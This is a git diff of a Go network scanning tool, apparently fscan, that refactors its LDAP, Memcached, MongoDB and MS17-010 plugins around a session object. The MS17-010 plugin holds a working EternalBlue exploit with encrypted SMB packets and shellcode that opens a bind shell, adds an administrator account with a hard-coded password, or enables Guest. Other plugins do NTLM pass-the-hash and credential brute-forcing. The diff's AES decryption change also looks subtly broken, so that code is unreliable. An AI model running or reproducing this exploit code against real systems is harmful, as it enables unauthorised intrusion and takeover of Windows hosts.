尝试 NTLM Hash 认证 -func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() domain := config.Credentials.Domain users := config.Credentials.Userdict["ldap"] @@ -139,7 +139,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con default: } - result := p.doNTLMHashAuth(ctx, info, domain, user, hash, config, state) + result := p.doNTLMHashAuth(ctx, info, domain, user, hash, session) if result.Success { // 截断 hash 用于显示 displayHash := hash @@ -162,17 +162,15 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con } // doNTLMHashAuth 执行单次 NTLM Hash 认证 -func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, config *common.Config, state *common.State) *AuthResult { - conn, err := p.connectLDAP(ctx, info, config) +func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, session *common.ScanSession) *AuthResult { + conn, err := p.connectLDAP(ctx, info, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyLDAPErrorType(err), Error: err, } } - state.IncrementTCPSuccessPacketCount() if err := conn.NTLMBindWithHash(domain, username, hash); err == nil { return &AuthResult{ @@ -192,7 +190,7 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, } // connectLDAP 连接LDAP服务器 -func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, config *common.Config) (*ldaplib.Conn, error) { +func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (*ldaplib.Conn, error) { target := info.Target() type result struct { @@ -202,7 +200,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con resultChan := make(chan result, 1) go func() { - tcpConn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + tcpConn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { resultChan <- result{nil, err} return @@ -223,7 +221,6 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con case res := <-resultChan: return res.conn, res.err case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { res := <-resultChan if res.conn != nil { @@ -257,19 +254,17 @@ func classifyLDAPErrorType(err error) ErrorType { return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors) } -func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := p.connectLDAP(ctx, info, config) + conn, err := p.connectLDAP(ctx, info, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "ldap", Error: err, } } - state.IncrementTCPSuccessPacketCount() defer func() { _ = conn.Close() }() banner := "LDAP" diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index 1e1b9a6..be6800b 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -24,15 +24,16 @@ func NewMemcachedPlugin() *MemcachedPlugin { } } -func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("memcached_unauth", target)) return result } @@ -46,14 +47,14 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, confi } // testUnauthorizedAccess 测试Memcached未授权访问 -func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - conn := p.connectToMemcached(ctx, info, config, state) +func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + conn := p.connectToMemcached(ctx, info, session) if conn == nil { return nil } defer func() { _ = conn.Close() }() - if p.testBasicCommand(conn, config) { + if p.testBasicCommand(conn, session.Config) { return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, @@ -65,20 +66,19 @@ func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *comm return nil } -func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn { +func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn { target := info.Target() + timeout := session.Config.Timeout connChan := make(chan net.Conn, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() connChan <- nil return } - state.IncrementTCPSuccessPacketCount() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(timeout)) connChan <- conn }() @@ -86,7 +86,6 @@ func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.H case conn := <-connChan: return conn case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { conn := <-connChan if conn != nil { @@ -114,10 +113,10 @@ func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config) return common.ContainsAny(responseStr, "VERSION", "memcached") } -func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn := p.connectToMemcached(ctx, info, config, state) + conn := p.connectToMemcached(ctx, info, session) if conn == nil { return &ScanResult{ Success: false, @@ -127,7 +126,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host } defer func() { _ = conn.Close() }() - if p.testBasicCommand(conn, config) { + if p.testBasicCommand(conn, session.Config) { banner := "Memcached" common.LogSuccess(i18n.Tr("memcached_service", target, banner)) return &ScanResult{ diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 5a3875f..78d1cd5 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -28,15 +28,17 @@ func NewMongoDBPlugin() *MongoDBPlugin { } } -func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config) + return p.identifyService(ctx, info, session) } // 首先检测未授权访问 - isUnauth, err := p.mongodbUnauth(ctx, info, config) + isUnauth, err := p.mongodbUnauth(ctx, info, session) if err != nil { return &ScanResult{ Success: false, @@ -67,7 +69,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig) @@ -182,10 +184,10 @@ func classifyMongoDBErrorType(err error) ErrorType { return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors) } -func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult { +func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - isUnauth, err := p.mongodbUnauth(ctx, info, config) + isUnauth, err := p.mongodbUnauth(ctx, info, session) if err != nil { return &ScanResult{ Success: false, @@ -214,14 +216,14 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn } // mongodbUnauth 检测MongoDB未授权访问 -func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, config *common.Config) (bool, error) { +func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) { msgPacket := p.createOpMsgPacket() queryPacket := p.createOpQueryPacket() realhost := fmt.Sprintf("%s:%d", info.Host, info.Port) - reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, config) + reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, session) if err != nil { - reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, config) + reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, session) if err != nil { return false, err } @@ -239,8 +241,8 @@ func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo } // checkMongoAuth 检查MongoDB认证状态 -func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, config *common.Config) (string, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", address, config.Timeout) +func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, session *common.ScanSession) (string, error) { + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { return "", fmt.Errorf("连接失败: %w", err) } @@ -252,7 +254,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack default: } - if deadlineErr := conn.SetDeadline(time.Now().Add(config.Timeout)); deadlineErr != nil { + if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.Timeout)); deadlineErr != nil { return "", fmt.Errorf("设置超时失败: %w", deadlineErr) } diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index 5884914..7bba523 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -10,6 +10,7 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "net" "os" "strings" "time" @@ -34,16 +35,7 @@ func NewMS17010Plugin() *MS17010Plugin { // GetPorts 实现Plugin接口 // Scan 执行MS17-010扫描 -func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - // 如果禁用暴力破解,也禁用漏洞检测 - if config.DisableBrute { - return &ScanResult{ - Success: false, - Service: "ms17010", - Error: fmt.Errorf("MS17010检测已禁用"), - } - } - +func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() // 检查端口 @@ -56,7 +48,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config } // 执行MS17010漏洞检测 - vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, state) + vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { return &ScanResult{ Success: false, @@ -71,10 +63,13 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config msg += fmt.Sprintf(" [%s]", osVersion) } common.LogVuln(msg) + if hasBackdoor { + common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) + } return &ScanResult{ Success: true, - Type: plugins.ResultTypeVuln, + Type: plugins.ResultTypeVuln, Service: "ms17010", Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion), } @@ -88,7 +83,8 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config } // Exploit 执行MS17-010漏洞利用 -func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult { +func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult { + config := session.Config target := info.Target() common.LogSuccess(i18n.Tr("ms17010_start", target)) @@ -96,7 +92,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target)) // 首先确认漏洞存在 - vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, nil) + vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err)) return &ExploitResult{ @@ -120,8 +116,6 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion)) } - // 检测DOUBLEPULSAR后门 - hasBackdoor := p.checkDoublePulsar(info.Host, config) if hasBackdoor { output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n") } else { @@ -134,7 +128,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n") // 执行实际的MS17010利用 - err = p.executeMS17010Exploit(info, config) + err = p.executeMS17010Exploit(info, session) if err != nil { output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err)) return &ExploitResult{ @@ -152,7 +146,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host)) case "add": output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n") - output.WriteString(" 用户名: fscan 密码: Fscan12345\n") + output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n") output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host)) case "guest": output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n") @@ -190,10 +184,7 @@ func aesDecrypt(crypted string, key string) (string, error) { return "", fmt.Errorf("密文长度过短") } - iv := cryptedBytes[:aes.BlockSize] - cryptedBytes = cryptedBytes[aes.BlockSize:] - - mode := cipher.NewCBCDecrypter(block, iv) + mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize]) mode.CryptBlocks(cryptedBytes, cryptedBytes) // 移除PKCS7填充 @@ -216,16 +207,18 @@ var defaultKey = "0123456789abcdef" // SMB协议加密的请求数据 (从原始MS17010.go复制) var ( - negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" - sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" - treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" - transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" + negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" + sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" + treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" + transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" + trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" // SMB协议解密后的请求数据 - negotiateProtocolRequest []byte - sessionSetupRequest []byte - treeConnectRequest []byte - transNamedPipeRequest []byte + negotiateProtocolRequest []byte + sessionSetupRequest []byte + treeConnectRequest []byte + transNamedPipeRequest []byte + trans2SessionSetupRequest []byte ) // 初始化解密SMB协议数据 @@ -279,58 +272,69 @@ func init() { common.LogError(i18n.Tr("ms17010_pipe_decode_error", err)) return } + + decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey) + if err != nil { + common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err)) + return + } + trans2SessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + common.LogError(i18n.Tr("ms17010_pipe_decode_error", err)) + return + } } // checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配) -func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Config, state *common.State) (bool, string, error) { - // 使用统一TCP包装器,支持代理和限流 - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout) +func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) { + return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session) +} + +func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) { + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { - if state != nil { - state.IncrementTCPFailedPacketCount() - } - return false, "", fmt.Errorf("连接错误: %w", err) + return false, "", false, fmt.Errorf("连接错误: %w", err) } defer func() { _ = conn.Close() }() - if err = conn.SetDeadline(time.Now().Add(config.Timeout)); err != nil { - return false, "", fmt.Errorf("设置超时错误: %w", err) + if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil { + return false, "", false, fmt.Errorf("设置超时错误: %w", err) } // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return false, "", fmt.Errorf("发送协议请求错误: %w", err) + return false, "", false, fmt.Errorf("发送协议请求错误: %w", err) } reply := make([]byte, 1024) n, readErr := conn.Read(reply) if readErr != nil || n < 36 { // 连接被关闭或响应不完整,通常表示目标不支持SMBv1 - return false, "", fmt.Errorf("目标可能不支持SMBv1") + return false, "", false, fmt.Errorf("目标可能不支持SMBv1") } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", fmt.Errorf("SMBv1协议协商被拒绝") + return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝") } // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return false, "", fmt.Errorf("发送会话请求错误: %w", err) + return false, "", false, fmt.Errorf("发送会话请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { - return false, "", fmt.Errorf("SMB会话建立失败") + return false, "", false, fmt.Errorf("SMB会话建立失败") } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", fmt.Errorf("SMB会话被拒绝") + return false, "", false, fmt.Errorf("SMB会话被拒绝") } // 提取系统信息 var osVersion string sessionSetupResponse := reply[36:n] - if wordCount := sessionSetupResponse[0]; wordCount != 0 { + if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 { byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n == int(byteCount)+45 { for i := 10; i < len(sessionSetupResponse)-1; i++ { @@ -345,77 +349,67 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Conf // 树连接请求 userID := reply[32:34] - treeConnectRequest[32] = userID[0] - treeConnectRequest[33] = userID[1] + treeConnect := append([]byte(nil), treeConnectRequest...) + treeConnect[32] = userID[0] + treeConnect[33] = userID[1] - if _, err = conn.Write(treeConnectRequest); err != nil { - return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err) + if _, err = conn.Write(treeConnect); err != nil { + return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr) } - return false, osVersion, fmt.Errorf("树连接响应不完整") + return false, osVersion, false, fmt.Errorf("树连接响应不完整") } // 命名管道请求 treeID := reply[28:30] - transNamedPipeRequest[28] = treeID[0] - transNamedPipeRequest[29] = treeID[1] - transNamedPipeRequest[32] = userID[0] - transNamedPipeRequest[33] = userID[1] + transNamedPipe := append([]byte(nil), transNamedPipeRequest...) + transNamedPipe[28] = treeID[0] + transNamedPipe[29] = treeID[1] + transNamedPipe[32] = userID[0] + transNamedPipe[33] = userID[1] - if _, err = conn.Write(transNamedPipeRequest); err != nil { - return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err) + if _, err = conn.Write(transNamedPipe); err != nil { + return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr) } - return false, osVersion, fmt.Errorf("管道响应不完整") + return false, osVersion, false, fmt.Errorf("管道响应不完整") } // 漏洞检测 - 关键检查点 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - if state != nil { - state.IncrementTCPSuccessPacketCount() + trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...) + trans2SessionSetup[28] = treeID[0] + trans2SessionSetup[29] = treeID[1] + trans2SessionSetup[32] = userID[0] + trans2SessionSetup[33] = userID[1] + + if _, err = conn.Write(trans2SessionSetup); err != nil { + return true, osVersion, false, nil } - return true, osVersion, nil + n, readErr = conn.Read(reply) + if readErr != nil || n < 36 { + return true, osVersion, false, nil + } + + return true, osVersion, reply[34] == 0x51, nil } - if state != nil { - state.IncrementTCPSuccessPacketCount() - } - return false, osVersion, nil + return false, osVersion, false, nil } -// checkDoublePulsar 检测DOUBLEPULSAR后门 -func (p *MS17010Plugin) checkDoublePulsar(ip string, config *common.Config) bool { - // 使用统一TCP包装器,支持代理和限流 - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout) - if err != nil { - return false - } - defer func() { _ = conn.Close() }() - - // 简化的后门检测逻辑 - vulnerable, _, err := p.checkMS17010Vulnerability(ip, config, nil) - if err != nil || !vulnerable { - return false - } - - // 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false - // 在实际使用中,原始的完整检测逻辑会被保留 - return false -} - -// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口) -func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *common.Config) error { - // address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度 +// executeMS17010Exploit 执行MS17010漏洞利用 +func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error { + config := session.Config var sc string // 根据不同类型选择shellcode (从MS17010-Exp.go复制) @@ -439,7 +433,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com } case "guest": - // 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的) + // 激活Guest账户 shellcode (加密) scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYo